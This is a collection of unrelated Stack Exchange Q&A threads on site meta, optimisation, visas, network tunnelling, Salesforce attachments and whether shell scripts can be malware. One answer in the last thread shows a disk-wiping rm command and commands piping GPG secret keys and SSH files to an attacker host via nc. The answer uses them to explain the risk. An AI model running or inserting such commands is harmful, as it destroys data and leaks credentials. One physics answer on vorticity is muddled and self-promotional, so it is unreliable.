feature idea: user's guest book

Question: I was thinking of LinkedIn and their recommendation system. This is a different website of course but I was thinking that having the possibility to leave a "thank you [...]" that would stay written in hard stone to users who really helped us would be great.
Comment: **Just give them a bounty.**  It's written in stone and uses the existing reputation system instead of creating a new one based on number of "thanks".
Comment: You need reputation to give a bounty, and that's not the same since you can get help from different way than just asking an official question.
Answer: I don't think that would add any real value to StackOverflow. It would have no place in the interface. Would clutter user profiles, AND would add one more source of spam.
I think user would use that to relieve their frustration against somebody who closed their answer or whatever else he did to them. That would be one more source of text to "moderate", and one unnecessary source of text to moderate.
And after all, what would it add? I mean OK, I could see I helped people... but I can already see that by having accepted answers / upvotes / bounties / comments. Do we really need a wall for this?
Comment: Weren't the moderators just saying that there's not enough work to go around...? :P
Comment: @animuson I know right! I'm sure they would dream to have to look at users' wall to find spam !
Comment: I would personnally like it. Linked-in has an "accept-mode" that the user has to accept the recommendation before it is posted, so there's no need for moderation. Regarding to the answers / upvotes / ... thing, I think this is really different. But however I can actually understand the global reaction of the community knowing that the simplest "hello" is off the chart.
Comment: @Sebas Linked is oriented around relations, others can "vouch" you, and thus recommendation systems and stuff like that. I just don't see how would that have a place on SO. I don't see how would it be useful at all to have comments on people wall.

feature idea: user's guest book


Can ClickOnce deployment technique be used in combination with Systems Management Server (SMS)?

Question: Can ClickOnce deployment technique be used in combination with Systems Management Server (SMS)?
What I have seen so far is that we have to publish an application on Web Server, FTP or network to be eligible for clickonce deployment. But our organization has policy of distributing applications through SMS only. Are there any ways to achieve this?
Answer: No, ClickOnce can not be used in combination with SMS.


Finding lower bound (maximization problem) in Lagrangian Relaxation with subgradient method

Question: I have tried to implement a toy problem (MIP) from the literature using Lagrangian Relaxation with the subgradient method, I implemented it correctly and I got the upper bound which is updated at each iteration, however, for the lower bound (original problem), I optimized it to using a solver inside the algorithm, but in the literature, it has been mentioned that we can make use of relaxed problem solution to find a lower bound (maximization problem), most of them they refer to a heuristic to find such lower bound because in most cases the solution of relaxed problem will be infeasible to the original one, but I did not figure it out, do I have to optimize the lower bound using the solution from LR and solver or just plug the solution of the relaxed problem into the original problem ( in this case it will not work, as I have tried it before).
Comment: Related question: https://or.stackexchange.com/questions/5426/using-lr-based-method-to-solve-mixed-integer-programming/5427#5427
Comment: @fontanf Thank you for redirecting me to that link, it was useful but most of the literature takes the LR algorithm as a lower and upper bound as one algorithm, although without finding the upper bound we will not know how far are we from the optimal solution.
Comment: Sorry, I don't understand your comment. For a maximization problem, LR directly provides an upper bound. The solution of the LR is in general infeasible. To get a feasible solution (lower bound), another algorithm is needed, such as branch-and-bound
Comment: Sorry, I was talking in general which is typically for minimization problems, my comment should be "finding a lower bound ( original problem) ..." which is related to my question.
Answer: The relaxed constraints will typically be violated, but the rest of the constraints will be satisfied.  To get a feasible solution to the original problem, you need to modify the relaxed solution somehow to satisfy all the constraints.  Such a "repair" heuristic is usually problem-specific.  For example, Section 10.4 of Wolsey's Integer Programming describes a greedy heuristic when the original problem is set covering and all covering constraints are relaxed: ignore the rows that are already covered by the relaxed solution, and greedily change some variables from $0$ to $1$ to cover the rest.
Comment: Thank you for your explanation and the book reference you provided, I think the book highlighted at the end of section 10.4 the confusion that I found in the literature, basically for problem-related to SCND with MILP problems, usually the upper bound is found by using information solution of the relaxed problem, i.e fixing some optimal decision variable and solve the original problem which may provide an upper bound with less CPU time for large scale problem, if the problem is small then solving the original problem directly would not be cumbersome.


PVC Exterior Window Sill on a Brick Veneer Home

Question: I have a brick veneer home with a rectangular hole in the wall that currently holds an unneeded window air conditioner. I bought a window I would like to install there. The hole does not have a brick sill - the hole was built specifically for the AC (long before me) so there is no ledge. Lucky for me that means I won't have to cut any bricks to prepare the opening. Would a PVC exterior window sill would be the easiest way to go? Do I have to put a sill at all? I live in a VERY humid, hot area. Do you have any tips or recommendations for my project?
Comment: I think you will want a sill to keep rain from running down the inside of your brick and causing water damage over time.
Answer: I guess the Water was previously redirected by the AC which was your sill. Therefore I would install a sill to redirect the water away from the house.


UG Research Advisor Not Willing to Write LOR to support my transfer application. How to proceed?

Question: This post is related to my situation Dropping Out And Applying Somewhere Else
. After explaining to my undergraduate research advisor that I withdrew from my PhD program (1 month in) and that I decided to apply to Thesis-master's program Which better fit my career goals, he told me he is not writing me a letter. I am not sure if this deems all my research work in undergrad useless. I have the work documented as a credit course on my transcript with a grade of pass and one grade of -A. So I am not sure if I should mention my work with him or just focus on work I have done in my courses.
Comment: Do you know why they won't write you a letter?
Comment: He explicitly told me that I had a chance and did not take it so he told me to ask someone else. Unfortunately, even before applying (last year) he was not interested in writing the letter, untill one of his grad students who supervised me had to convince him.
Answer: It is fine to mention your undergraduate work. You did it and you received graded credit for it. Talk about it! (In a statement of purpose or something).

What did you do?
What did you learn?
How did it inspire you?

True, yes, your undergraduate advisor would not write you a letter of recommendation. There is no need to mention that. If you have other people who are willing to write you a strong letter, you should be fine. When I sit on admissions committees, there are a few things we take into account:

We are only seeing a portion of the student's profile. We don't know the whole story (either way).
Sometimes professors are hard to get along with in regards to grades, authorship, LORs, etc.
Students are going to school while life happens around them. This means that sometimes the circumstances of life will affect their decisions and opportunities relative to school.
We do not expect a masters student to come in on day one and have the skill set of a master's student at the end of his or her degree. We are looking for potential.

Overall, I am more interested in learning about what you, not an advisor, did. If you are competent in explaining your research, that is going to bode better for you than having a LOR from someone who grudgingly has been forced into writing you a LOR.  I would not spend too much time trying to make this donkey (the undergrad advisor) pull the cart (LOR) he does not want to pull.
Comment: Should I remove his name completely from my application? or should I just put his contact information on my CV and that is it.
Comment: @GahamDel Keep his name on the CV. He did advise you and it needs to be acknowledged. I think it would look stranger to not list him at all.


Is there an algorithim to construct a graph with an even number of vertices, and each vertex has k edges?

Question: Ideally, such an algorithm would not be a brute force one. Is there a clever way to do this?
Answer: The complete bipartite graph $K_{k,k}$ has $2k$ vertices, each of which has degree $k$.
Answer: If $k$ is odd, take the complete graph on $k+1$ vertices. If $k$ is even, take the complete graph on $k+2$ vertices numbered $1,\ldots,k+2$, and disconnect the $k/2+1$ edges $(1,2),(3,4),\ldots,(k+1,k+2)$.
It is not hard to check that these graphs have the minimal number of vertices, and are moreover unique (up to isomorphism) for this property.


Installed Django app (registration) not using main urls.py for tests

Question: I'm not sure if this is a bug with django-registration or what I'm doing.
I have a bare minimum project, with django-registration installed and no apps of my own. Django-registration requires a few templates, so I have them in templates/registration. In each template, I have a template tag {% url index %}, which is included in my urls.py.
By running ./manage.py test registration --failfast, I get:
TemplateSyntaxError: Caught NoReverseMatch while rendering: Reverse for 'index' with arguments '()' and keyword arguments '{}' not found.

My own template isn't seeing my url entry.
I debugged into Django's reverse function, and it seems as though my urls.py isn't being used at all. Instead registration.tests.urls.py is used.
Is this the intended behavior? I'm hoping not, since I can't get basic tests to pass. How do I get around this?
Answer: This is a bug in django-registration. This blog article describes the problem and a workaround.


Is my question now in an acceptable form for the site?

Question: My most recent question was closed because it was not focused. I have edited it to make it more focused and voted to reopen it.
Do you think the question is now good enough for the site or is it still not good enough to be reopened?
Comment: Hmm.  Wasn't seeing a problem with [the original](https://stackoverflow.com/revisions/65164220/1), either.  Explaining broad swathes of code is broad.  Explaining a *narrow* bit of code isn't, and I'm not seeing you ask for a whole lot here.
Comment: @AndrewT.:  In the ~70 seconds in which I read the question, I understood that the ask was about the explanation on the site and why it made sense, or if there was an alternative to the solution posted.  Neither of these asks are broad, but they do require some kind of time investment to establish this.  My gut tells me that many people didn't wanna take that time to establish that, so they went with "close it" instead.
Comment: @Makoto I think the original revision asking for "be solved differently" can trigger broadiness...
Comment: Typicall questions on SO are about non-working code. When you don't understand something in working code, it's ok to ask question about it. But it has to be very *specific* question. Dumping the big amount of code, which require background knowledge is not good. Unfortunately I am not a java expert, but I am sure the question can be formulated more specifically and require only few lines of code and no irrelevant tags. Then you are likely to get an answer or rather a duplicate link.
Comment: @Sinatr Moreover, I am getting mixed signals from the people who have responded to this meta post. Some are saying the question is good now and some are saying it was good before and I have made it worse now. So I am not too sure what is necessary. I shall probably follow Bergi's advice and put back the details of my original question (while excluding the part asking about alternate solutions)?
Comment: Your original question was bordering on being too broad. You appeared to be asking for an explanation of the entire code, as well as looking for alternative solutions. I may not have voted to close it, but I can understand users doing that. Your edit focuses the question to only ask why a specific variable is returned in the recursive call, as opposed to some other variable. I think your question is on-topic now.
Comment: @Sinatr _Unfortunately I am not a java expert, but I am sure the question can be formulated more specifically and require only few lines of code and no irrelevant tags._ My original question was about the algorithm and the reasoning behind it. It had little to do with Java. The comments for that question did a good job at clarifying my confusion but I changed my question because I did not want it to be closed.
Answer: I've actually seen the question the first time when you posted it. I didn't vote to close but I understand the reasons why one would:
In the initial state the question had two main points:

How does this algorithm work?
Why only this specific variable is returned?

The issues:

Two questions at once, even though both can be answered at once as well.
You didn't really put into words what you don't understand about the algorithm.

It's pretty much equivalent to someone asking: "Hey, there is Quicksort. How does it work?". Please notice that this is only an example. Someone could explain the algorithm for you but that's not really the intention behind Stack Overflow. You need to express what you don't understand about the algorithm, not just that you don't understand it. An answerer is supposed to address something specific about the algorithm (focused Q&A), not the whole algorithm itself.
I think in your specific case, it's opinion-based to close-vote it, but it has its reasons. Also keep in mind that SO is community-driven, people have different opinions.
Now with your recent edits you've focused the question but sadly removed some parts that gave us more context about your current understanding, namely in Revision 2.
An answerer still has to explain the algorithm to you. You are asking why one specific variable is returned, which is an essential part of the algorithm. Ask yourself this:
If I ask why one specific variable X is returned but not Y, why should Y be returned in my current understanding?
This is exactly what you've removed and should include again. This is something that an answerer can address and clarify for you.
Comment: @Sinatr This is not an answer to the question, it's a discussion about the question
Comment: @Bergi, it seems to me the question is not yet answerable. OP is asking: "Why is X and NOT any of the other variables being returned by the function in each recursive call?" To me it sounds like OP: 1) doesn't understand algorithm 2) doesn't understand what method does 3) doesn't understand what is return value 4) thinks something different about it 5) maybe don't understand basics (what are local variable, reference types, assigning property of instance passed as parameter, etc.). You have options: either take a risk and post answer (bad idea) or vote close as too broad/require clarification.
Comment: That said, I have to agree with @Sinatr. The OP removing the part about his understanding actually made the question worse. It should not have been reopened yet imo. (-1).
Comment: @Sinatr Good points. I'm just not sure why the question being open should go hand-in-hand with me answering it.
Comment: @Sinatr This sounds very much like an answer to this meta question. You should tell the OP why you think it's still bad and how to improve it. But I think I now understand what your original comment meant to say: "*If you think it's a good question now, can you please answer it to show me how it is answerable, I still couldn't.*"?
Comment: @akuzminykh, if you think it's a good question now, can you please answer it to show me how it is answerable, I still couldn't.
Comment: Why answering here and not there if question is fine?
Comment: @Bergi, and specifically about my comment, this answer is from java-expert and I am not the one. The easy proof I am wrong would be his answer there. But there is none.
Comment: @Bergi, I'd post one if I would be *sure*. I am not. The upvotes here prove I am wrong. The missing answers there prove I am right. [This answer](https://stackoverflow.com/a/65164800/1997232) doesn't looks as a good one (it's maybe a correct one, but the thing is - we don't know what OP problem exactly is).
Comment: @Sinatr _This answer doesn't looks as a good one (it's maybe a correct one, but the thing is - we don't know what OP problem exactly is)._ Bergi hit the nail on its head with his answer. His modified version of my question was my actual question.
Comment: Actually, I think questions about algorithms should be on Software Engineering Stack Exchange.
Comment: @TheTechExpertGuy Rather [Computer Science](https://cs.stackexchange.com/).
Comment: @akuzminykh Oh, yes, I had forgotten that SE network. Thanks for the advice!
Answer: I think your original question text (before all the edits) was just fine. You explained your understanding of what the code does, you asked a particular question ("why this variable not the others?"), and you quoted the course's explanation for that which you couldn't understand.
The only thing that is too broad is "Can this problem be solved differently?", which doesn't really fit into your core question and possibly has many answers.
So I'd suggest

I am confused about the reasoning behind these lines of code:
int max_single = Math.max(Math.max(l, r) + node.data, node.data);
int max_top = Math.max(max_single, l + r + node.data);
res.val = Math.max(res.val, max_top);
return max_single;

I believe the code above follows this logic but I do not understand
WHY this logic is correct or valid:

For each node there can be four ways that the max path goes through
the node:

Node only
Max path through Left Child + Node
Max path through Right Child + Node
Max path through Left Child + Node + Max path through Right Child

MoreoverIn particular, I do not understand why max_single
is being returned in the function findMaxUtil when we the variable
res.val contains the answer we are interested in. The following
reason is given on the website but I do not understand it:

An important thing to note is, root of every subtree need to return
maximum path sum such that at most one child of root is involved.

Could someone provide an explanation for this solutionpart?
Can this problem be solved differently?
Comment: I followed your suggestion and updated my question :)


Url filtering using the firesight management center

Question: We have installed the firepower management center in our Vmware Exsi in our sfr module 5.3.1. Our ASA is 5515-x version 9.2.2 and ASDM version 7.2.2.
Management IP of ASA is 192.168.1.1 and the source fire defense center of firepower management center is 192.168.0.9 and we have installed the license for sfr module. But we don't have the url filtering license.
Both are in different networks. Now, i don't see any connection of defense center with the ASA. How am i going to block traffic or do the url filtering this way?
My requirements are simple and all i want is the ultimate solution for the url filtering. And we don't have url filtering license. How to filter the traffic?
Comment: Buy the license?
Comment: Is there no way to do filtering without url license? @ Ron.
Answer: On an ASA, you can block individual URLs in two different ways. The first way is using FQDN, which basically causes the ASA to resolve the hostname in DNS on a scheduled basis and update the ACL with the results of the lookup. So you create an ACL entry the denies traffic to the FQDN, and it will be updated with the DNS answers all the time.
The second way is to block the URL using regex patterns in class-maps, tied to a policy-map. This method will only work if the communication is over port 80.
In contrast, using Firepower, the URL license gives you a much more capable solution which is able to block URLs by category. One of the benefits to this method is that Cisco Talos is always providing updates to the URL database, so you can block entire genres of URLs with one click.
Now, you mention,

i don't see any connection of defense center with the ASA

On the Firepower sensor, run the command show managers to see if the sensor is hooked up to the Management Center. If it's not hooked up, then you won't be able to control the sensor at all (on a 5515x), since the sensor receives its instructions from the Management Center. If it is connected to a manager, then HTTPS to the manager and login. If not, then follow the documentation to get the sensor connected to your FMC.


Dependent I-20 issued to Fiancee

Question: I received a full scholarship to do a PhD in the US. The immigration specialist asked me to send mine and my fiancee's details to send the I-20 forms for the both of us. I have received them now and in my fiancee's it says that the relationship to me is "spouse" although we are not yet married but will be about a month before leaving to the US. Will this create a problem during the visa (F1,F2) interviews as the date of marriage comes after the date of issue of the I-20 of my fiancee. Please help me out. Thanks!
Comment: What matters is your status when you apply for entry.
Comment: Let me clarify: "apply for entry" means when you arrive at the border (or airport) with your wife and your visas and other documents, and present them to the border officer along with your passports.
Comment: @phoog so we don't have to be married when we apply for visa?
Comment: I'm not entirely sure.  They might refuse the application because there's no guarantee that you'll actually get married on the date you've planned.  It might also be possible for them to issue the visa without your being married, with the understanding that it won't be valid if you apply for entry without first getting married.  My comment was intended to indicate that it seems okay to specify the relationship as "spouse" because it is your intent to apply for entry after you're married.
Answer: Although there was a misunderstanding, you may be fortunate since you intend to marry before you leave for the US. However, as it will take place after the visa interviews, her visa could be delayed until you provide the evidence of the marriage. Without that, her visa status may be at risk (as might yours), as she is not eligible for an F-2 visa until you formalize the union. Nonimmigrant dependent family visas are not is given to those not married, whether they be engaged or domestic partners.
There are other methods: the partner either arranges for their own US sponsorship, through a university or employer, or applies for a B-2 tourist visa as a cohabitating partner (added emphasis and paragraph breaks for readability mine):

9 FAM 402.2-4(B)(5)  (U) Cohabitating Partners, Extended Family Members, and Other Household Members not Eligible for Derivative Status
  (CT:VISA-193;   09-28-2016)
(U) The B-2 classification is appropriate for aliens who are members of the household of another alien in long-term nonimmigrant status, but who are not eligible for derivative status under that alien's visa classification.  This is also an appropriate classification for aliens who are members of the household of a U.S. citizen who normally lives and works overseas, but is returning to the United States for a temporary time period.  Such aliens include, but are not limited to the following: cohabitating partners or elderly parents of temporary workers, students, diplomats posted to the United States, and accompanying parent(s) of minor F-1 child-student.
B-2 classification may also be accorded to a spouse or child who qualifies for derivative status (other than derivative A or G status) but for whom it may be inconvenient or impossible to apply for the proper H-4, L-2, F-2, or other derivative visa, provided that the derivative individual intends to maintain a residence outside the United States and otherwise meets the B visa eligibility requirements.
If such individuals plan to stay in the United States for more than six months, they should be advised to ask DHS for a one-year stay at the time they apply for admission.  If needed, they may thereafter apply for extensions of stay, in increments of up to six months, for the duration of the principal alien's nonimmigrant status in the United States.  You should consider annotating to indicate the purpose and length of stay in such cases.
Answer: You did not indicate when you intend to go for the visa interview so may have to adjust this answer. Check out this very helpful FAQ in regards to F2 Visa
The final question in the article speaks directly to your situation.

I'm Engaged.  Do I need to be married to receive a dependent
  I-20/DS-2019?
It is acceptable to go through the process to add a dependent spouse
  to your SEVIS record before you actually marry. However, you must be
  married and have the marriage certificate in hand by the time you
  apply for the dependent visa, or for Canadian citizens, when you enter
  the U.S.

So you have to be married and take the marriage proof with you to the interview. Since you mentioned you will be married only a month before you depart. That would be cutting too close for the interview I would say. Earlier the better generally.
My personal opinion on an alternative would be to do the court marriage atleast, that way you are married and can take the marriage proof along. But ensure to have the pictures etc with your spouse and family.

Dependent I-20 issued to Fiancee


Is brevity the soul of wit?

Question: The principle of parsimony is a fundamental philosophical tool. So, is modern philosophy over-complicated? Simplicity is also elegant. So is modern philosophy inelegant? As well as prolix, irrelevant, impenetrable,... and boring? Answers in 100 words or less, if at all possible!
Comment: Does this answer your question? [Do some philosophical questions tend to entertain vacuous ideas?](https://philosophy.stackexchange.com/questions/105487/do-some-philosophical-questions-tend-to-entertain-vacuous-ideas)
Comment: To the question in the title. I believe it is. The late comedian Norm Mac Donald's style was the opposite. following one of his meandering jokes has been described as  being led on a 10-mile hike in the woods just to look at a turd.
Comment: Yes! Plus whatever is needed to qualify the joke under PSE's rules for a minimum # of characters!
Comment: I really think someone could make a 400 page textbook that takes the student on a speedrun through the whole analytic philosophy, argument by argument, without the loss of any information that would affect their ability to participate in the discipline.
Comment: Probably it is erroneously attributed to Einstein: "Everything should be made as simple as possible, but no simpler". Nevertheless it is a good precept for each kind of scientific writing and also for explanation in general.
Answer: Firstly, may I say that it was very wise of you to phrase your question in such a way that it appears not to be inviting opinions, otherwise it might have been closed by the over-zealous mods.
I think wit is the soul of wit- I would rather read a long witty passage than a short witless one. That said, a long witless piece is the height of tedium, and philosophy furnishes no end of them. I cannot say philosophy is alone in that lamentable regard- turgid, overblown, impenetrable verbiage is  regrettably common in academic writing on all subjects.
Comment: AI will save us the trouble of having to write such things.
Answer: On technical matters, one can be, at best, two of:

precise,
concise, or
widely understood.

For greater precision, we can use more words or we can invent terms that we define more precisely. In virtue of those terms being invented, they are not widely known. As a result, we're left to pick any two of the listed options.
That said, there's no shortage of writers who fail to pick even two! One of my professors confessed to intentionally doing so for pragmatic reasons. He even advised us to do the same when we had little to say or wanted to mask holes in our arguments. (He was a cynic.)
Comment: "*This letter is long because I didn't have time to make it shorter.*"

Is brevity the soul of wit?


How do the Navier-Stokes equations predict vortex creation in a vorticity-free fluid?

Question: For this question I was looking at the Navier-Stokes equations after you get the curl, this gives you the equation:
$$\frac{\partial \vec{\Omega}}{\partial t}-\nabla \times  (\vec{v} \times \vec{\Omega})=\frac{\eta}{\rho} \nabla ^2 \vec{\Omega} $$
Most of the sources I've read talk about how this is very different from taking the curl of the euler-equation due to the extra term. I understand that but there is something I don't understand, if you start with $\Omega=0$ this equation would seem to imply that:
$$\frac{\partial \vec{\Omega}}{\partial t}=0$$
Which means that at any point in space you would expect no new vortices to emerge and so you expect vorticity to stay $0$ throughout all of space so vortexes can't be created from an initially vortex free flow. This seems to break from normal intuition in how you could increase velocity in a pipe and the flow will eventually go from laminar to turbulent, or other examples where changing only velocity in a straight line can cause the emergence of vortexes. Is this because these equations no longer apply (i.e. this happens when a non-conservative force is introduced)? Or in real life do these equations still apply but you can never get a truly vortex free fluid and so the effects can build up and create more vorticity?
Comment: Very interesting and smart question! I think that what you are writing is not the most general vorticity equation, see: https://en.wikipedia.org/wiki/Vorticity_equation   The term with the gradients and pressure can generate vorticity if the fluid is NOT barotropic.
Comment: You can also see this answer: in your setting vorticity can only be produced at the boudary https://physics.stackexchange.com/a/82229/226902
Answer: Good question!
The fundamental behavior of a with Navier-Stokes modeled Madelung's fluid is turbelence forming when resonating on certain energy levels called eigenvalues.
Your cited transport equation is the first step to understand this "spooky" process though you will have to continue curling the navier-stokes d.e. until you get the diffusion equation.
Solving the geodesics out of this equation (after inserting it back into the original and dimensionless Navier-Stokes d. e. ) has to be done with a Schrodinger like energy equation called Calogero-Moser Hamitonian. Please do see also Citation for details.
R. Meulens , "A note on N-soliton solutions for the viscid incompressible Navier–Stokes differential equation", AIP Advances 12, 015308 (2022) https://doi.org/10.1063/5.0074083
The solutions then suffice both to a higher order diffusion equation and the 3rd order Weierstrass d. e. or an ordinary Kdv Flow hierarchy eq, what gives it its name, N-solitons and are spirals, circles or lines depending on the situational parameters like input velocity, reynolds number, (dynamic) viscosity and the used length scale.
Those situational parameters may determine also relevant bifurcation process points.
Comment: This is your third post, and each time you used it to promote this article. Please stop doing this, and respect that SE is Q&A site. Provide self-contained answers as much as possible.
Comment: Nevertheless, your answer, as it is, isn't up to SE standards because it contains very little useful information. Simply providing a link is ground to get the answer deleted. Also, "spooky" isn't a scientifically-defined term, and doesn't help in any way to make your answer useful for anyone.
Comment: Believe it or not that is the sincere answer to the open question of turbelence. Alas,  it is a complex subject that needs a level of elaboration to explain it with credibility. It is somewhat "spooky". Kind regards
Comment: I referred to the lately Mr. Einstein "spooky"  comment regarding the aspect quantum mechanics crossing-over to fluid dynamics (real-life). You might be right, I did not use mathematical symbols, but all details are put in plain English. When I am better acquainted with the used Latex script version,  I will upload the formulas. Kind regards


Need to measure high resistance values

Question: I'm needing to measure the coil resistance in several potential relays used in HVAC/R applications, and my current HVAC Fluke meter #902 is only able to read the resistance values in a few of them, I suspect because the resistance is too high for the meter to measure. Presently, I have readings that range from 2245 through 9945, but need to read quite a bit much higher, likely up to around 15K ohms. My question is, are that any other quality multi-meters available that will measure this level of resistance? Thank you, Gary
Comment: Most general-purpose DVMs should measure resistance into the Megohm range.
Answer: 15kOhm is well within the range of common multimeters. I did look up your particular model and noticed that there is no spec given for >10kOhm, so you may be correct that your meter is not designed to measure these impedances.  See page 23 here.
Here is an example of a low cost multimeter that could fit your needs. If you are interested in another Fluke, the 115 looks like a reasonable option.
Comment: Thank you so much for the guidance. Much appreciated and glad to know.

Need to measure high resistance values


Copy only final text from track changes in Word

Question: I have a document with track changes enabled. I want to copy part of the text as it appears when the document is set to render as "Final", and I want to paste the text into a plain text editor. When I try this, my pasted plain text includes all of the text, even deletions from the prior draft. How can I directly copy text from Word to a text editor without the deleted text appearing in the plain text copy?
I can make this work by making a copy of the document and accepting all changes, but then it's harder to identify the relevant portions of the text.
(I'm using Word for Mac 2011.)
This is similar to the question "Copy and paste without tracked changes in MS Office 2013", but neither of the answers work for me, perhaps due to differences in the version of Word.
[Edited to clarify that I want to copy directly from Word to the text editor.]
Answer: Just combine your two attempts:

copy only the desired text to a new Word document
accept all changes
copy the text to the editor


Tunneling query

Question: I'm researching various tunneling technologies and I have a fairly good understanding covering some of the basics. In a site-to-site VPN the edge routers could appear as only one hop away. I've also read that it's possible to make it appear as a flat network i.e. everything on the same LAN. This is the piece i am missing, can someone help me to understand how this is possible?
Comment: Unless you have a _very_ compelling reason (very few things today _need_ to be on the same LAN since just about everything can use layer-3), it is usually a bad idea to extend a LAN across a WAN. Flat networks create problems, and the extra latency involved in the WAN exacerbates the problems.
Comment: Did any answer help you? if so, you should accept the answer so that the question doesn't keep popping up forever, looking for an answer. Alternatively, you could post and accept your own answer.
Answer:
I've also read that it's possible to make it appear as a flat network i.e. everything on the same LAN. This is the piece i am missing, can someone help me to understand how this is possible?

Some tunneling technologies provide Ethernet over IP services. For instance, research about these topics:

L2TPv3
EoMPLS
VXLAN
EtherIP (RFC3378)
Ethernet over GRE
Cisco OTV (Overlay Transport Virtualization)
Answer: Yes it is possible, and Everton gave you some features that help you do that, but...
...please don't do it !
I know a single LAN over two (or more) distant sites seems nice for machine migration (it can keep the same IP) or auto-discovering protocols, but by bridging two remote LAN you create a single failure domain.
By bridging remote LAN, you will forward every broadcast, every multicast, every broadcast storm, every shitty multicast packet that will triggeer some bug on oh-so-bugged multicast stacks on some hosts... Even for legitimate broadcast it is bad, because all of these have to be treated by everyone before being considered irrelevant by 99% of your hosts. That costs CPU. LAN do not scale !! (Hint : the "L" stands for "Local" :) )
See Ivan Pepelnjak's blog post for more detailed explanation.
If you need to move a host without having to change it's IP address, consider using a mechanism where the host (or its hypervisor if applicable) announces a /32 route to your router. Calico does it with BGP, for instance.
Comment: (It's the little brother of the more famous "Single Point Of Failure".)
Comment: You mean a single broadcast domain?
Comment: No, no, single failure domain. It means that a failure (broadcast storm most often) in a point ot the domain can spread to the whole domain.  Two sites bridged together should not be considered as redundant to each other, IMHO.
Answer: The main thing that makes things "appear on the same LAN" are broadcast messages of one type or another (depending on the type of LAN and what exactly we mean by "appear on"). Specifically, in the case of Ethernet (as an example), all nodes that can receive and respond to data-link layer broadcast messages (e.g., ARP) will appear to be on the local LAN (more properly, the same broadcast domain).
In order to create the illusion of a node being on the local LAN, all a device or service has to do is handle two-way transmission of link-layer broadcast messages and responses. So two broadcast domains that are joined by a VPN connection using devices that accept and encapsulate and de-encapsulate all broadcasts and responses will effectively become one broadcast domain.
Of course the network layer addressing will have to arranged accordingly.
Answer: Theres a few ways to do it.
One easy way is just to build a virtual ethernet link. The VPN software creates a virtual ethernet interface on both ends and forwards frames between them. You can then use bridging to connect the virtual ethernet interfaces to real ones. I have successfully done this using both vtun and openvpn. I preffer openvpn because it has built-in bridge functionality that allowsone openvpn instance to serve multiple clients. There are also similar solotions from the proffesional networking world but I don't have personal experiance with them.
The upside of this approach is that pretty much everything (unless it's very latency sensitive) that works on a LAN just works. Broadcasts get to where they need to go, hosts can seamlessly move from one site to another without changing their addresses.
The downside of this approach is that the overhead can be relatively high. Firstly the growth in packet size from the extra headers means that full size packets from your LAN won't fit in a normal internet MTU. So either they have to be fragmented somehow or the network you run your tunnel over needs to support jumbo frames. Secondly a load of pointless broadcast chatter can end up going down the tunnel. Thirdly it can be difficult to keep local traffic local and avoid triangle routing.
There are fancier systems too that emulate some aspects of an ethernet network while trying to avoid some of the above problems but again I have no personal experiance with them.

Tunneling query


How to transfer attachments from one object to another

Question: I have two custom objects objA and objB. I want to transfer all the records available in objA to objB. For this purpose i am using DataLoader to transfer the records. I want to transfer the records that have Notes and Attachments also. How to transfer the attachments one object to another. After transferring the records from objA to objB, automatically records ID and Name(Name auto generated in my case) will change. Attachment parent ID related to objA, but in objB it is changed. How can we identified which attachment is related to which record. Can anyone suggest me.
Answer: You cannot transfer attachments, you have to create new ones.

In data loader, move all records from object A to B (keeping a column for the old ID)
In the attachments csv, do a lookup to the results file to find the new Parent ID based on the old Object A ID and Parent ID
Insert the attachments using the new parent ID

See this help document on uploading attachments using data loader and org data export.
Comment: After importing attachments from Attachment object we will get all the attachments available in all objects. How can we identified which attachment is related to our custom object "objA". And if we have n no.of attachments in "objA" finding new parent id using csv file little bit time taking process.  How can we simplify this.
Comment: No other way I know of. It is not that hard, a lookup takes like 5 minutes to do..You could always write the obj B id to the object A record, then use code to move the attachment based on that id
Comment: I am exporting attachments from Attachments object with Body, ParentID, Name, OwnerID columns. I changed ParentID with newly inserted records. I am trying to insert attachments with same csv file what i exported, but it giving the error "csv file format not supported". The csv file contain the long text in body column. In your given link it showing the body will filling with path. Is it necessary to download the attachments to our system and giving the path.
Comment: @VijayKumar - Not sure if it is "Required" but I know it works...


Can a .sh file be malware?

Question: Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes, can someone read this script**  and tell me if it safe and does it affect GnuPG security? It gives me an option to encrypt files with a right-click on Ubuntu.
**[mod note: link removed since we no longer analyse code]
Answer: .sh files are shell scripts. They are analogous to .bat files (cmd scripts) under Windows. All of these (shell scripts, cmd scripts, .exe Windows executables, Linux executables (which usually have no extension)) are executable programs; if you run one, it can do anything you can do. So yes, shell scripts can be harmful. Treat a shell script (or a Perl script, or a Python script, or a Ruby script, etc.) with the same suspicion you would treat any other application.
It's a bit harder to hide malware in a shell script without looking suspicious, because this is a script which can be read by people with knowledge of the scripting language. But it is not much harder; few people, even with the technical knowledge, would bother to review the code, so you could hope to go unnoticed.
As a practical matter, there is less malware for Linux floating around than for Windows. This is probably mainly because Linux has a lot less of a market share than Windows on the desktop, so the payback for writing Linux malware is less. Also, there is a long-ingrained culture of sharing little improvements to the system in the Linux world, more so than in the Windows world; so the balance of probability says that this is someone sharing a little improvement and not malware. But it could be malware posing as a little improvement. In the end, you need to decide whether you can trust the site where you're getting this application, or the people who recommended this site. Favor programs that come from your distribution (i.e. that you can install from the software center), as they have undergone some review.

Now regarding this specific program: I had a quick look, and it looks benign. I didn't see anything that would store your password anywhere without telling you or that would do things on your computer other than what it's advertised to do. Note that I only did a 2-minute review, which any remotely clever malware writer could get past. The program looks reasonably well-written.
I wouldn't necessarily recommend this program unless you feel a pressing need that isn't addressed by packages in the Ubuntu distribution. Ubuntu comes with the seahorse  GUI frontend to GPG (there is also kgpg  for KDE users). You may also want to install seahorse-nautilus  (or seahorse-plugin  in older versions) for Nautilus integration.
Answer: #!/bin/sh
rm -rf --no-preserve-root /

That's malware, and it's a shell script. A more advanced version might include something like:
gpg --export-secret-keys | nc www.evilbadguys.com 443
tar -cz ~/.ssh | nc www.evilbadguys.com 80

So yes, a shell script can be malicious. It can get more complex and call on other scripting languages, libraries, or even be a shell archive that spits out and calls a regular executable.
For the most part, anything you run gets the permissions of the user.
Comment: Because it's so devastating, in later versions of the shell, there is built in protection (preserve root) against blindly executing `rm -rf /` which is a totally excellent way of clearing massive amounts of disk space... :0
Comment: Never seen this option for rm. What does the --no-preserve-root ?
Comment: And brick your UEFI system
Answer: A Unix shell script can be a virus, worm, a Trojan horse, a spyware, a logic bomb
If a shell script is run by a privileged account, most notably root or adm, then this shell script may cause any sort of damage.
It can stop the system, send back all your E-mail to any kind of commanding
host, change your Unix machine into a denial of service weapon, and much much worse…
Most of this bad behaviour will be easily discovered by a serious analysis
